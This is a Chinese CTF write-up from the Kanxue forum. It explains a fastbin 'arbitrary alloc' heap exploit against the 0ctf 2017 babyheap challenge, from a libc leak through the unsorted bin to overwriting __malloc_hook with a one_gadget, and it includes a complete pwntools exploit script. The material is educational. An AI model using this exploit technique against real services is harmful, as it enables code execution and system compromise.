查看原文
其他

Pwn堆利用学习——Fastbin-Arbitrary Alloc——0ctf2017-babyheap

直木 看雪学苑 2022-07-01

本文为看雪论坛精华文章

看雪论坛作者ID:直木



Alloc to Stack在将chunk分配到栈上时需要栈上对应位置有合法的size,这样才能将堆内存分配到栈中,从而控制栈中的任意内存地址。而Arbitrary Alloc和Alloc to Stack基本上完全相同,但是控制的内存地址不再仅仅局限于栈,而是任意的内存地址,比如说bss、heap、data、stack等等。


0ctf_2017_babyheap


实验环境: 

OS:Ubuntu16.04 x64

libc:libc.2-23.so(md5:b0097c8a9284b03b412ff171c3d3c9cc)



Step 1  运行查看





Step 2  查看文件类型和保护机制


  • 64位程序
  • 保护全开
$ file 0ctf2017babyheap0ctf2017babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped$ checksec --file=0ctf2017babyheapRELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEFull RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 0ctf2017babyheap


Step 3  IDA反编译分析


a. main


为方便理解,根据菜单函数把switch里面的函数改名,然后根据函数内容及函数功能将相应的函数和变量改名:


sub_B70:initial,进行初始化,利用mmap分配空间,然后返回一个地址。这个空间用来存放结构体(这个结论我是在分析完两个函数——initial和add 之后得到的)。

sub_CF4:menu,打印菜单。

sub_138C:input_number,输入数字。

V4:babys结构体(既然题目是babyheap,我这里就把它命名为babys)。



b. main->initial


初始化,返回结构体初始地址:

 


c. main->Allocate



最多16个结构体,根据分析可得到结构体baby结构如下:
struct baby{ __int64 flag; __int64 size; char *content;}

当某个baby结构体的flag为false时,才会进行添加。

calloc与malloc的区别:calloc会设置分配的内存为0。

结构如下图所示,将每个baby对应的chunk命名为babychunk。


d. main->Fill



e. main->Fill->read_content


这个size可以随意大,存在堆溢出漏洞。

 


f. main->Free



g. main->Dump



h. main->Dump->write_content



i. 小结


漏洞点:
Fill函数调用read_content函数,这里的输入size是可以控制的,所以这里存在堆溢出漏洞
可输入的点:
  • 输入菜单选项;

  • Allocate和Fill需要输入size;
  • Fill输入baby chunk的内容。


大概思路:
用arbitrary alloc,将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data部分,那么通过Fill选项就能将其覆盖为rop链的地址了,最后再调用一个malloc就能执行rop链以getshell。
1. 泄漏libc基址,为了覆盖__malloc_hook为rop链的地址。
要覆盖__malloc_hook的内容,那么需要得到__malloc_hook的地址。因为它在libc中,所以需要知道libc的基址,又因为开启了aslr,所以libc的基址是变化的。
泄漏libc基址的方法就是通过unsortedbin。unsortedbin是一个双链表,里面如果只有一个chunk,那么chunk的fd和bk都指向unsortedbin链表头。链表头的地址为&main_arena+88,那么就可以计算出&main_arena,又因为&main_arena与libc基址的偏移是固定的,那么就可以计算出libc的基址。
泄漏的原理理清了,那么怎么泄漏?
(1)malloc一个smallbin chunk,然后free,它就会释放到unsortedbin中,那么它的fd和bk就会变成&main_arena+88。再通过Dump选项进行打印。于是,为了能够打印就需要有另一个baby结构体的content指针指向这个smallbin chunk。
(2)需要注意的一点就是在free smallbin chunk之前需要再malloc一个chunk,目的是防止smallbin chunk在free的时候和top chunk合并。
2. arbitrary alloc,分配chunk在__malloc_hook处。
需要绕过对size的检查,而__malloc_hook附近肯定会有0x7f的,通过错位,将0x7f当作伪造的chunk的size。
通过one_gadget获取rop链,然后通过Fill选项覆盖__malloc_hook,最后malloc以触发执行rop链来getshell。

Step 4  调试分析


a. 模板和选项函数


from pwn import *from LibcSearcher import LibcSearcherfrom sys import argv
def ret2libc(leak, func, path=''): if path == '': libc = LibcSearcher(func, leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = ELF(path) base = leak - libc.sym[func] system = base + libc.sym['system'] binsh = base + libc.search('/bin/sh').next()
return (base, system, binsh)
s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,'\0'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'binary = './0ctf2017babyheap'context.binary = binaryelf = ELF(binary,checksec=False)#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)p = process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
def dbg(): gdb.attach(p) pause()
def allocate(size): ru('Command: ') sl('1') ru('Size: ') sl(str(size))
def fill(idx, size, content): ru('Command: ') sl('2') ru('Index: ') sl(str(idx)) ru('Size: ') sl(str(size)) ru('Content: ') s(content)
def free(idx): ru('Command: ') sl('3') ru('Index: ') sl(str(idx))
def dump(idx): ru('Command: ') sl('4') ru('Index: ') sl(str(idx))
p.interactive()


b. leak libc


完整的过程如下gif所示,每个步骤的变化都通过颜色改变来体现。

 


(1)malloc 4个fastbin的chunk、1个smallbin的chunk,然后依次free babychunk2和babychunk1。

 

于是,fastbin中变为了fastbin[0] -> babychunk1 -> babychunk2 <- 0x0,而babys结构体数组中baby1和baby2的flag和size都被置为0,content指针也被置为NULL。

64位程序fastbin的chunk大小为0x20-0x80

allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x80) # small bin
free(2)free(1)dbg()



(2)分别往babychunk0和babychunk3填充数据。


对于babychunk0,首先填充完它自己的user data部分,然后填充babychunk1使得babychunk1的fd指针的最后一字节变成0x80,也就是使得babychunk4取代babychunk2在fastbin里的位置。


对于babychunk3,首先填充完它自己的user data部分,然后填充babychunk4,使得babychunk4的size变成0x20。
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)fill(0, len(payload), payload)payload = 0x10 * 'a' + p64(0) + p64(0x21)fill(3, len(payload), payload)dbg()


 

(3)将之前置为空的两个baby结构体baby1和baby2重新填充数据,并分配两个0x10大小的babychunk。

  • baby1的content指针指向babychunk1;
  • 由于此时在fastbin中babychunk1后的是babychunk4,同时babychunk4的size也被修改为了0x10,所以baby2的content指针指向babychunk4。
allocate(0x10)allocate(0x10) dbg()


 

(4)溢出填充babychunk3,将babychunk4的size覆盖回0x90。

payload = 0x10 * 'a' + p64(0) + p64(0x91)fill(3, len(payload), payload)dbg()


 

(5)分配一个新的0x90大小的babychunk5,目的是为了防止紧接着free的babychunk4和top chunk合并。然后free babychunk4使得babychun4进入unsortedbin,此时babychunk4的fd和bk都指向(main_arena+88)。

allocate(0x80) free(4)dbg()


 

(6)利用dump选项泄漏babychunk4的fd(main_arena+88),计算libc基址。

def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 # lock offset += 4 # flags offset += word_bytes * 10 # offset fastbin offset += word_bytes * 2 # top,last_remainder offset += idx * 2 * word_bytes # idx offset -= word_bytes * 2 # bin overlap return offset
dump(2)ru('Content: \n')unsortedbin_addr = u64(r(8))offset_unsortedbin_main_arena = offset_bin_main_arena(0)main_arena = unsortedbin_addr - offset_unsortedbin_main_arenaleak('main arena addr', main_arena)main_arena_offset = 0x3c4b20libc_base = main_arena - main_arena_offsetleak('libc base addr', libc_base)dbg()



以前遇到要查看距离libc基址偏移的情况,我是和看雪-mb_uvhwamsn-babyheap一样用IDA去查看,但是从看雪-yichen115-babyheap看到一个计算main_arena距离libc偏移的工具:https://github.com/bash-c/main_arena_offset。


c. Fasten attack - arbitrary alloc


接下来是想办法将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data里,从而可以通过Fill选项将其修改为rop链的地址。

 

(1)首先查看__malloc_hook附近的情况。

 

如文章开头所说,arbitrary alloc需要在要分配chunk的地方提前有合适的size,因为从fastbin里malloc一个chunk的时候会检查这个chunk的size是否符合大小要求。可以看到__malloc_hook附近有一些0x7f,如果能够通过错位让0x7f变成 size 的话就能通过检查,对应的user data大小为0x60。

根据chunk的size计算其在fastbin数组中index的宏如下所示:

#define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) 那么,64位程序:0x7f/16-2=5。所以0x7f对应的fastbin单链表要求的size为0x70,user data部分的size为0x60。

 

 

(2)在fastbin中准备一个0x70大小的chunk,以修改其fd。


allocate(0x60)会重新启动baby4,并malloc一个0x70大小的chunk。malloc的时候会将unsortedbin里0x90大小的chunk分为两部分:0x70和0x20,然后将0x70大小的chunk分配给baby4的content指针。


free(4)又会清空baby4并free刚刚malloc的0x70大小的chunk,但是由于0x70是fastbin的大小范围内,所以此时是将其放到fastbin中去了。

allocate(0x60)free(4)dbg()


 

此时各个部分的情况如下图所示:

 

 

(3)确定要在__malloc_hook附近分配的chunk的地址:&main_arena-0x2b-0x8。

 

 

(4)由于此时baby2的content指针还指向babychunk4(这个地址也是分割free之后放在fastbin里的chunk的地址),因此通过Fill(2)可往这个0x70大小的chunk的fd填充&main_arena-0x2b-0x8。然后再进行两次allocate(0x60),就可以将chunk分配到我们想要的&main_arena-0x2b-0x8。

fake_chunk_addr = main_arena - 0x2bfake_chunk = p64(fake_chunk_addr)fill(2, len(fake_chunk), fake_chunk)
allocate(0x60) allocate(0x60)dbg()


 

(5)利用one_gadget工具找一个rop链。


一段时间没用one_gadget,发现报错:( ,undefined method 'unpack1' ,解决方法:https://bbs.pediy.com/thread-265011.htm


另:用ruby-install 安装ruby2.6时,总是报错,然后我用proxychains4走主机的代理进行安装,可还是报错,但是此时已经下载了相关文件,接着不走代理重新执行一遍安装命令就安装成功了。


 

(6)将__malloc_hook修改为rop链,并触发__malloc_hook函数。


one_gadget的地址需要一个一个试一下,当前环境是第二个地址成功了。

one_gadget_addr = libc_base + 0x4527apayload = 0x13 * 'a' + p64(one_gadget_addr)fill(6, len(payload), payload)
allocate(0x100)



Step 5  完整Exp


from pwn import *from LibcSearcher import LibcSearcherfrom sys import argv
def ret2libc(leak, func, path=''): if path == '': libc = LibcSearcher(func, leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = ELF(path) base = leak - libc.sym[func] system = base + libc.sym['system'] binsh = base + libc.search('/bin/sh').next()
return (base, system, binsh)
s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,'\0'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'binary = './0ctf2017babyheap'context.binary = binaryelf = ELF(binary,checksec=False)#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)p = process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
def dbg(): gdb.attach(p) pause()
def allocate(size): ru('Command: ') sl('1') ru('Size: ') sl(str(size))
def fill(idx, size, content): ru('Command: ') sl('2') ru('Index: ') sl(str(idx)) ru('Size: ') sl(str(size)) ru('Content: ') s(content)
def free(idx): ru('Command: ') sl('3') ru('Index: ') sl(str(idx))
def dump(idx): ru('Command: ') sl('4') ru('Index: ') sl(str(idx))
def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 # lock offset += 4 # flags offset += word_bytes * 10 # offset fastbin offset += word_bytes * 2 # top,last_remainder offset += idx * 2 * word_bytes # idx offset -= word_bytes * 2 # bin overlap return offset

allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x80) # small bin
free(2)free(1)#dbg()
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)fill(0, len(payload), payload)payload = 0x10 * 'a' + p64(0) + p64(0x21)fill(3, len(payload), payload)#dbg()
allocate(0x10)allocate(0x10) #dbg()
payload = 0x10 * 'a' + p64(0) + p64(0x91)fill(3, len(payload), payload)#dbg()
allocate(0x80) free(4)#dbg()
dump(2)ru('Content: \n')unsortedbin_addr = u64(r(8))offset_unsortedbin_main_arena = offset_bin_main_arena(0)main_arena = unsortedbin_addr - offset_unsortedbin_main_arenaleak('main arena addr', main_arena)main_arena_offset = 0x3c4b20libc_base = main_arena - main_arena_offsetleak('libc base addr', libc_base)#dbg()
allocate(0x60)free(4)#dbg()
fake_chunk_addr = main_arena - 0x2b -0x8fake_chunk = p64(fake_chunk_addr)fill(2, len(fake_chunk), fake_chunk)allocate(0x60)#dbg()allocate(0x60)#dbg()one_gadget_addr = libc_base + 0x4527apayload = 0x13 * 'a' + p64(one_gadget_addr)fill(6, len(payload), payload)
allocate(0x100)
p.interactive()





看雪ID:直木

https://bbs.pediy.com/user-home-830671.htm

  *本文由看雪论坛 直木 原创,转载请注明来自看雪社区



# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存